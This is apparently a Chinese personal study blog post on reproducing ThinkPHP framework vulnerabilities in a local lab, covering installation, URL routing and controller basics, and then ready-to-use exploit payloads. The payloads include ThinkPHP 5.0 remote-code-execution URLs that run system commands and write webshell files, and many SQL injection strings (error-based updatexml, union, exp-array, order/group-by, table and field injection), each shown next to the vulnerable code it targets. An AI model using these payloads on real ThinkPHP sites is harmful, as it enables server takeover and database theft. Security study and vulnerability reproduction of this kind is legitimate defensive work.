TP框架漏洞复现

tp起手:下载安装,漏洞复现

下载安装

tp源码在这:

https://www.thinkphp.cn/down.html

但b站说官方已经不提供源码下载了,要手动composer或者git

composer安装

连的是php7.4.3的exe

环境搭好是这样

tp6

composer create-project topthink/think=6.0.x-dev tp

tp3.2.3

官网下载,已经下载到本地了

tp5.0.10

composer create-project --prefer-dist topthink/think=5.0.10 thinkphp_5.0.10

链接: http://www.paijuanxing.online/2021/05/15/thinkphp5.0.10/

改一下composer.json

"require": {"php": ">=5.4.0","topthink/framework": "5.0.10"
},

然后

composer update

连数据库

create database tpdemo;
use tpdemo;
create table users(id int primary key auto_increment,username varchar(50) not null
);
insert into users(id,username) values(1,'mochazz');

tp的config的配置

tp常识

tp5以tp5.1为正式版,其他都在测试中,目前最新的是tp6

主页在public/index下面,因为到时候绑定域名可以直接绑public/index,其他目录无法访问更安全

URL模式

http://serverName/index.php/模块/控制器/操作/参数/值

这种访问属于URL模式中的PATHINFO模式

更改URL模式的文件在Thinkphp/Conf/convention.php

  • 普通模式:

    url?m=xxx&c=xxx&a=xxx&var=value

    例子:http://localhost/?m=home&c=user&a=login&var=value

  • PATHINFO模式:

    xxxxx/model/controller/action/var/value

    例子:http://localhost/model/controller/action/var/value

    比如说访问入口文件http://127.0.0.1/thinkphp_3.2.3_full/index.php/Home/Index/index

    PATHINFO地址的前三个参数分别表示模块/控制器/操作。

    不过,PATHINFO模式下面,依然可以采用普通URL模式的参数方式,例如: http://localhost/index.php/home/user/login?var=value 依然是有效的

    我们还可以支持下面的URL访问: http://localhost/index.php/home-user-login-var-value

  • Rewrite:

    http://localhost/home/user/login/var/value

  • 兼容模式:

    http://localhost/?s=/home/user/login/var/value

tp3控制器

控制器是一个抽象的概念,它代表的是xxxController.class.php和该文件下面的xxxController这个类。这个控制器类包含了需要调用的方法。控制器的作用是存储函数,时刻准备被人调用

如何调用这些方法呢

A方法:一开始先在/Home/Controller目录下面写个控制器和它的方法(就是写个xxxController.class.php并在该文件中写xxxController类,在类中写方法),然后跑到IndexCotroller去调用它:

    public function getUserIndex(){$newuser = A('User');  //理解为new了一个类$newuser->index();}

所以看到A方法要知道去审计它的控制器

R方法:更简单

    public function getUserIndex(){$newuser = R('User/index');}

传递参数

I(’’,’’,’’)

举例

I(‘get.id’) //返回get传入参数id的参数值

漏洞复现

可以看这篇博客复现tp漏洞:https://paper.seebug.org/1377/#42thinkphp-5x-1(含有有tp 2.x/3.0 , tp5.x)(tp5.0已分析源码)

起手:去看控制器:

application/index/controller/Index.php

调试的思路

首先想这个函数可能的诱发漏洞的原因:比如说rce想到call_usr_func;sql注入想到sql语句拼接的时候没有waf没有转义没有预处理(pdf)

其次善于使用step over ,先看一看各个参数的变化,找到漏洞代码的区间

然后锁定区间,重新刷新浏览器准备再调试一次,但是这次要step into进入到区间内

之后不断递归下去,直到感觉很迷茫,似乎找不到漏洞代码

这时候就拨乱反正:读他丫的,弄懂功能(也可以跳出来宏观整体)

直到 找到诱发漏洞的原因(可以是一些函数或者一些)

或者 调完整个过程

然后如果是sql可以对照一下正常的情况是怎么样的,对比学习!

收获:

  • 对代码的熟悉度,尤其整条链的函数要大致记住,下次遇到类似的要联想得到,然后直接上payload

tp5.0漏洞利用(rce)

官方手册序言 · ThinkPHP5.0完全开发手册 · 看云 (kancloud.cn)

  • system()

paylaod:

http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
  • 通过phpinfo

payload:

http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
  • 写入shell(自行把phpinfo换成一句话木马)

payload:

http://localhost:9096/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20phpinfo()?^%3E%3Eshell.php
http://localhost:9096/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo 'ok';?>

Tp5 sql

[(84条消息) 复现]Thinkphp5系列漏洞_kuuhh的博客-CSDN博客_thinkphp5漏洞

tp5.0.10 sql注入

当你这么写的时候

public function index(){        $username = request()->get('username');        $result = db('users')->where('username','exp',$username)->select();}

payload:

public/index.php/index/index/index?username=) union select updatexml(1,concat(0x7,user(),0x7e),1)--+user

当你这么写的时候

        $username = request()->get('username/a');        $result = db('users')->where(['username' => $username])->select();        print_r($result);
s 强制转换为字符串类型
d 强制转换为整型类型
b 强制转换为布尔类型
a 强制转换为数组类型
f 强制转换为浮点类型

payload

payload:username[0]=not%20like&username[1][0]=%%&username[1][1]=233&username[2]=)%20union%20select%201,user()%23

feng师傅这篇写得很好(84条消息) Thinkphp 5.0.10 SQL注入_feng的博客-CSDN博客_thinkphp注入

tp3漏洞

资料

可供学习的视频:PHP进阶教程从零基础入门到掌握面向对象编程【黑马程序员精品教程】_哔哩哔哩_bilibili

tp3开发手册:基础 · ThinkPHP3.2.3完全开发手册 · 看云 (kancloud.cn)

sql漏洞

where注入(where语句)

先丢一个错误的参数值进去,然后看着它的报错来闭合括号(一般会选择报错注入)

    public function test1(){        $data = M('users')->where('id='.I('get.id'))->select();        dump($data);    }

这里直接给调好的payload

updatexml

id/1)and%201=(updatexml(1,concat(0x3a,(user()),0x3a),1))%23

union 联合查询

/id/1)union%20select%201,2,3%23

漏洞形成:简单来说就是没有过滤

如何修改才安全:

方法1

    public function test2(){        $user = M('users');        $map['id'] = I('id');        $data=$user->where('id='.$map)->select();        dump($data);    }

采用先实例化对象的思路,这样即便用户输入了恶意的id参数,系统也会强制类型转化

方法2(官方手册写的,未验证)

where方法使用字符串条件的时候,支持预处理(安全过滤),并支持两种方式传入预处理参数,例如:

$Model->where("id=%d and username='%s' and xx='%f'",array($id,$username,$xx))->select();// 或者$Model->where("id=%d and username='%s' and xx='%f'",$id,$username,$xx)->select();

table注入(表名)

漏洞代码

    public function test3(){        M()->table(I('tab'))->where('1=1')->find();    }

错误核心是Tp无论输入的table是什么,都会先执行show column的操作判断有没有错误之后再执行select

如果像下面那样输入,那么show column就为True,之后select就会执行恶意语句了

payload:

tab/phpthink_users%20where%201=1%20and%201=updatexml(1,concat(0x3a,(user())),1)%23

field注入(字段名)

field的用法要提一下:

$data = M('users')->field('id')->select();//select id from users;dump($data)

当有多个字段时,它可以直接写在括号里,也支持数组传输

$data1 = M('users')->field('id,username')->select();$data2 = M('users')->field(array('id','username'))->select();//select id,username from users;

别名的使用

$data1 = M('users')->field(array('id','username'=>'uname'))->select();//select id,username as uname from users;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-g8fjFQrM-1645804809477)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220127185040240.png)]

倘若字段名的别名可控

$data1 = M('users')->field(array('id','username'=>I('name')))->select();

payload

test4/name/asas from `phpthink_users` where  1=updatexml(1,concat(0x3a,(user())),1)#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-39o0kX8x-1645804818020)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220127185935122.png)]

直接就可以注入,攻击思路是自己制造正确的sql语句闭合前面的语句。

当然了,如果是字段名可控的话,按照这种思路下去也是可注入的

test4/name/count(*) from `phpthink_users` where  1=updatexml(1,concat(0x3a,(user())),1)#

不过使用count(*)的闭合比较取巧,因为这个地方想要闭合必须排除,的干扰,意味着我们必须写字段,但是我们又不知道字段名,所以用count

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wpPP9upg-1645801010044)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220127190324813.png)]

aliens-union-join注入

可以写个正则来找

->(aliens|union|join).*\((\$|\$_|I)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LxX0tA7O-1645801010045)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220127193149988.png)]

利用方法类似上面几种

order groupby having注入

当表名错误的时候

漏洞代码

$data = M('user')->field(array('username','password'))->order(array('id'=>I('xu')))->select();

payload(那里的逗号是要的)

,(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20(substring((select(user())),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b);%23

漏洞就是底层sql都拼在了一起

$data = M('users1')->field(array('count(score)'))->group(I('xu'))->select();

payload

(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20(substring((select(user())),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b);%23

comment注入

条件:紧随着where之后,comment函数参数可控(本地复现失败)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GmHDwk5x-1645801010045)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220129170606637.png)]

payload

aaaa*/procedure analyse(extractvalue(rand(),concat(0x3a,user())),1);%23

query count execute 注入 (当聚合函数可控时)

漏洞原理、漏洞利用和字段注入是一样的

payload:

id) AS tp_count FROM `phpthink_users` where%201=1%20and%201=updatexml(1,concat(0x3a,(user())),1)%23

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aDXvZAIa-1645801010046)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220129174813511.png)]

exp注入(传数组)

tp支持表达式(exp)查询,用法一句话概括就是tp的sql函数的参数可以使用键名为 字段名 值为array(‘表达式’,‘操作数’)

$map['字段名'] = array('表达式','查询条件');//接着再把$map传到where()这样的函数这个括号里面就行了

例子

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vRGTXSWP-1645801010047)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220129185521500.png)]

但是这里表达式可选的东西很多,其中有个:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-06q7lI9F-1645801010047)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220129193555055.png)]

只要用户传入数组的‘表达式’是exp,如果后面’查询条件’还可以控制的话,那么就直接是恶意sql语句执行了

漏洞代码

        $tiaojian = array();        $tiaojian['id']=$_GET['id'];       //‘表达式’,'查询条件'都可控        $data = M('users')->where($tiaojian)->find();

payload

id[0]=exp&id[1]==11 and 1=1%20and%201=updatexml(1,concat(0x3a,(user())),1)%23

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6qxzxf7h-1645801010047)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220129193743762.png)]

tp在执行update语句时,如果需要使用到setInc函数,而该函数没有检查步长

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pWNnmHsV-1645801010048)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220129191842781.png)]

payload

5 where (id=5) and 1=1%20and%201=updatexml(1,concat(0x3a,(user())),1)%23

TP框架漏洞复现(持续更新)相关推荐

  1. fastjson框架漏洞复现

    0x01fastjson介绍 fastjson是阿里巴巴开源的json解析库,通常被用于java object和json字符之间进行转换,提供两个方法json.tojsonstring和json.pa ...

  2. 12306抢票系统(框架+代码)- 持续更新

    文章目录 一.框架展示(后续将提供源码) 二.界面展示 三.过程及结果展示 12306抢票系统(登录功能-二维码+账号密码)---------- 点击跳转 一.框架展示(后续将提供源码)    首先在 ...

  3. Android 主流通用常用框架汇总(持续更新)

    我们做项目久了,都会用到很多开源的框架,今天我就把我所知道的一些好用的框架都汇总整理了一下,因为实在是大多了记不住,所以记下来方便以后使用,过程中参考了很多网上大牛们写的文章,绝无抄袭冒犯之意,就是根 ...

  4. Android 主流通用常用框架汇总(持续更新),android底层开发的未来

    AndroidImageSlider 库开发者是代码家, 该库是为 Banner 图片滑动提供多种动画效果, 还可以轻易为 Banner 加载网络图片 github https://github.co ...

  5. thinkphp框架漏洞复现

    环境搭建请参考vulhub官网,https://vulhub.org 目录 一.2-rce漏洞 二.5.0.23-rce漏洞 三.5-RCE 一.2-rce漏洞 ThinkPHP 2.x版本中,使用p ...

  6. JS小型游戏框架coquette学习(持续更新)

    2019独角兽企业重金招聘Python工程师标准>>> coquette游戏框架学习 框架地址:https://github.com/maryrosecook/coquette 框架 ...

  7. Android 主流通用常用框架汇总(持续更新),Android程序员

    8.RoundedImageView RoundedImageView 一个快速支持图片圆角显示效果的库, 该库特点是能快速加载, 为了提高加载速度, 该库不用创建原始位图的副本, 不使用 clipP ...

  8. antvue 有赞布局_UI大全:前端UI框架集合(持续更新,当前32个)

    2017-1209 ZanUI (Vue) 2017-1218 Onsen UI(Vue, React, Angular) 2017-1215 增加 Vuetify, Weex UI, Semanti ...

  9. WEB安全漏洞(持续更新)

    #1.文件暴露 GIT git可以说是当今最受欢迎的版本控制/版本管理软件了,很多基于git的云端仓库都提供了免费的托管服务,甚全有不少还支持免费私有仓库,如bitbucket和国内的gitosc(开 ...

  10. Struts2框架漏洞总结与复现(上) 含Struts2检测工具

    Struts2框架漏洞总结与复现 1.Struts2复现准备 2.Struts2框架漏洞复现 2.1.S2-001漏洞复现 2.1.1.漏洞原理 2.1.2.影响版本 2.1.3.手工复现 2.1.3 ...

最新文章

  1. 力扣(LeetCode)刷题,简单+中等题(第35期)
  2. [模板]tarjan求强连通分量
  3. Java中主线程如何捕获子线程抛出的异常
  4. oracle编程艺术在线,oracle编程艺术笔记-1
  5. python实训报告pygame_20181218 实验四《Python程序设计》实验报告
  6. Elam的caffe笔记之配置篇(一):CentOS6.5编译安装gcc4.8.2
  7. WebService系列(三)--创建自己的WebService
  8. 并查集算法c语言版,并查集及其C程序实现.doc
  9. Simpsons’ Hidden Talents(HDU-2594)
  10. raspberry ubuntu 修改源为清华_Ubuntu 下 Janus Server 搭建笔记
  11. 作用域经典练习题(主要是这个图太大不能一起分享)
  12. 数据结构笔记-----链表
  13. lambda函数 python菜鸟教程-Python - lambda函数
  14. 定义网络营销,到底和网店有什么区别
  15. 计算机游戏缓存在哪里清楚,电脑清除缓存在哪里-怎么干净的清理电脑缓存电脑很卡东西清理不干净 爱问知识人...
  16. SAP ABAP BDC录屏 数据导入和检验-实例
  17. 水星MW300R-通用无线路由器安全设置-防蹭网-详解-教程
  18. JETSON TX2烧写系统
  19. GitHub热榜:来膜拜这个流弊的AI框架!
  20. 开放后的繁荣——-揭秘韩国游戏市场

热门文章

  1. c语言求区间内素数个数_C语言题目
  2. C/C++中的位运算
  3. 20款开源搜索引擎介绍与比较
  4. java初级工程师 项目_java初级工程师项目经验简历范文
  5. Java开源内容管理CMS系统J4CMS集成到JTM
  6. SQL进阶教程(一)——CASE表达式
  7. open函数返回-1_Linux驱动开发 / 字符设备驱动内幕 (1)
  8. 对比学习系列论文CPC(一)——CPC概览
  9. Hero传奇引擎47个疑难问题解答
  10. fmd单片机c语言教程,ft62f08x_c语言 FMD单片机C语言列子程序 - 下载 - 搜珍网